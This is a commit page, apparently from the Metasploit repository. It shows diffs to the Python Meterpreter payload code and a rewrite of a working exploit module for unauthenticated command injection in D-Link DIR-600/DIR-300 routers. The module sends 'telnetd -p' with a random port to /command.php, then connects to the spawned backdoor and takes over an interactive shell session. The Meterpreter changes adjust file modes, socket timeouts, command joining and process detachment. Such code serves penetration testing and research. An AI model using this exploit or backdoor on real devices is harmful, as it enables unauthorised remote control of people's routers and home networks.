Skip to content

Commit 0c1e654

Browse files
tabassassintabassassin
committed
Update from master
2 parents 41e4375 + 7919672 commit 0c1e654

File tree

8 files changed

+866
-890
lines changed

8 files changed

+866
-890
lines changed

‎data/meterpreter/ext_server_stdapi.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -303,6 +303,7 @@ def channel_create_stdapi_fs_file(request, response):
303303
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
304304
if fmode:
305305
fmode = fmode['value']
306+
fmode = fmode.replace('bb', 'b')
306307
else:
307308
fmode = 'rb'
308309
file_h = open(fpath, fmode)
@@ -320,6 +321,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
320321
connected = False
321322
for i in range(retries + 1):
322323
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
324+
sock.settimeout(3.0)
323325
if local_host.get('value') and local_port.get('value'):
324326
sock.bind((local_host['value'], local_port['value']))
325327
try:
@@ -380,7 +382,7 @@ def stdapi_sys_process_execute(request, response):
380382
if len(cmd) == 0:
381383
return ERROR_FAILURE, response
382384
if os.path.isfile('/bin/sh'):
383-
args = ['/bin/sh', '-c', cmd, raw_args]
385+
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
384386
else:
385387
args = [cmd]
386388
args.extend(shlex.split(raw_args))

‎data/meterpreter/meterpreter.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -404,5 +404,7 @@ def create_response(self, request):
404404
return resp
405405

406406
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
407+
if hasattr(os, 'setsid'):
408+
os.setsid()
407409
met = PythonMeterpreter(s)
408410
met.run()

‎modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

Lines changed: 142 additions & 151 deletions
Original file line numberDiff line numberDiff line change
@@ -8,155 +8,146 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = ExcellentRanking
12-
13-
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::CommandShell
15-
16-
def initialize(info = {})
17-
super(update_info(info,
18-
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
19-
'Description' => %q{
20-
Different D-Link Routers are vulnerable to OS command injection via the web
21-
interface. The vulnerability exists in command.php, which is accessible without
22-
authentication. This module has been tested with the versions DIR-600 2.14b01,
23-
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
24-
and establish a session over it, the second one runs commands via the CMD target.
25-
There is no wget or tftp client to upload an elf backdoor easily. According to the
26-
vulnerability discoverer, more D-Link devices may affected.
27-
},
28-
'Author' =>
29-
[
30-
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
31-
'juan vazquez' # minor help with msf module
32-
],
33-
'License' => MSF_LICENSE,
34-
'References' =>
35-
[
36-
[ 'OSVDB', '89861' ],
37-
[ 'EDB', '24453' ],
38-
[ 'BID', '57734' ],
39-
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
40-
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
41-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
42-
],
43-
'DisclosureDate' => 'Feb 04 2013',
44-
'Privileged' => true,
45-
'Platform' => ['linux','unix'],
46-
'Payload' =>
47-
{
48-
'DisableNops' => true,
49-
},
50-
'Targets' =>
51-
[
52-
[ 'CMD', #all devices
53-
{
54-
'Arch' => ARCH_CMD,
55-
'Platform' => 'unix'
56-
}
57-
],
58-
[ 'Telnet', #all devices - default target
59-
{
60-
'Arch' => ARCH_CMD,
61-
'Platform' => 'unix'
62-
}
63-
],
64-
],
65-
'DefaultTarget' => 1
66-
))
67-
end
68-
69-
def exploit
70-
if target.name =~ /CMD/
71-
exploit_cmd
72-
else
73-
exploit_telnet
74-
end
75-
end
76-
77-
def exploit_cmd
78-
if not (datastore['CMD'])
79-
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
80-
end
81-
cmd = "#{payload.encoded}; echo end"
82-
print_status("#{rhost}:#{rport} - Sending exploit request...")
83-
res = request(cmd)
84-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
85-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
86-
end
87-
88-
if res.body.include?("end")
89-
print_good("#{rhost}:#{rport} - Exploited successfully\n")
90-
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
91-
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
92-
else
93-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
94-
end
95-
96-
return
97-
end
98-
99-
def exploit_telnet
100-
telnetport = rand(65535)
101-
102-
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
103-
104-
cmd = "telnetd -p #{telnetport}"
105-
106-
#starting the telnetd gives no response
107-
print_status("#{rhost}:#{rport} - Sending exploit request...")
108-
request(cmd)
109-
110-
begin
111-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
112-
113-
if sock
114-
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
115-
add_socket(sock)
116-
else
117-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
118-
end
119-
120-
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
121-
auth_info = {
122-
:host => rhost,
123-
:port => telnetport,
124-
:sname => 'telnet',
125-
:user => "",
126-
:pass => "",
127-
:source_type => "exploit",
128-
:active => true
129-
}
130-
report_auth_info(auth_info)
131-
merge_me = {
132-
'USERPASS_FILE' => nil,
133-
'USER_FILE' => nil,
134-
'PASS_FILE' => nil,
135-
'USERNAME' => nil,
136-
'PASSWORD' => nil
137-
}
138-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
139-
rescue
140-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
141-
end
142-
return
143-
end
144-
145-
def request(cmd)
146-
147-
uri = '/command.php'
148-
149-
begin
150-
res = send_request_cgi({
151-
'uri' => uri,
152-
'method' => 'POST',
153-
'vars_post' => {
154-
"cmd" => cmd
155-
}
156-
})
157-
return res
158-
rescue ::Rex::ConnectionError
159-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
160-
end
161-
end
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
18+
'Description' => %q{
19+
Different D-Link Routers are vulnerable to OS command injection via the web
20+
interface. The vulnerability exists in command.php, which is accessible without
21+
authentication. This module has been tested with the versions DIR-600 2.14b01,
22+
DIR-300 rev B 2.13.
23+
},
24+
'Author' =>
25+
[
26+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
27+
'juan vazquez' # minor help with msf module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'OSVDB', '89861' ],
33+
[ 'EDB', '24453' ],
34+
[ 'BID', '57734' ],
35+
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
36+
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
37+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
38+
],
39+
'DisclosureDate' => 'Feb 04 2013',
40+
'Privileged' => true,
41+
'Platform' => 'unix',
42+
'Arch' => ARCH_CMD,
43+
'Payload' =>
44+
{
45+
'Compat' => {
46+
'PayloadType' => 'cmd_interact',
47+
'ConnectionType' => 'find',
48+
},
49+
},
50+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
51+
'Targets' =>
52+
[
53+
[ 'Automatic', { } ]
54+
],
55+
'DefaultTarget' => 0
56+
))
57+
58+
register_advanced_options(
59+
[
60+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
61+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
62+
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
63+
], self.class)
64+
65+
end
66+
67+
def tel_timeout
68+
(datastore['TelnetTimeout'] || 10).to_i
69+
end
70+
71+
def banner_timeout
72+
(datastore['TelnetBannerTimeout'] || 25).to_i
73+
end
74+
75+
def session_timeout
76+
(datastore['SessionTimeout'] || 10).to_i
77+
end
78+
79+
def exploit
80+
telnetport = rand(65535)
81+
82+
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
83+
84+
cmd = "telnetd -p #{telnetport}"
85+
86+
#starting the telnetd gives no response
87+
print_status("#{rhost}:#{rport} - Sending exploit request...")
88+
request(cmd)
89+
90+
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
91+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
92+
93+
if sock.nil?
94+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
95+
end
96+
97+
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
98+
prompt = negotiate_telnet(sock)
99+
if prompt.nil?
100+
sock.close
101+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
102+
else
103+
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
104+
end
105+
106+
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
107+
begin
108+
Timeout.timeout(session_timeout) do
109+
activated = handler(sock)
110+
while(activated !~ /claimed/)
111+
activated = handler(sock)
112+
end
113+
end
114+
rescue ::Timeout::Error
115+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
116+
end
117+
end
118+
119+
def request(cmd)
120+
121+
uri = '/command.php'
122+
123+
begin
124+
res = send_request_cgi({
125+
'uri' => uri,
126+
'method' => 'POST',
127+
'vars_post' => {
128+
"cmd" => cmd
129+
}
130+
})
131+
return res
132+
rescue ::Rex::ConnectionError
133+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
134+
end
135+
end
136+
137+
def negotiate_telnet(sock)
138+
begin
139+
Timeout.timeout(banner_timeout) do
140+
while(true)
141+
data = sock.get_once(-1, tel_timeout)
142+
return nil if not data or data.length == 0
143+
if data =~ /\x23\x20$/
144+
return true
145+
end
146+
end
147+
end
148+
rescue ::Timeout::Error
149+
return nil
150+
end
151+
end
152+
162153
end

0 commit comments

Comments
 (0)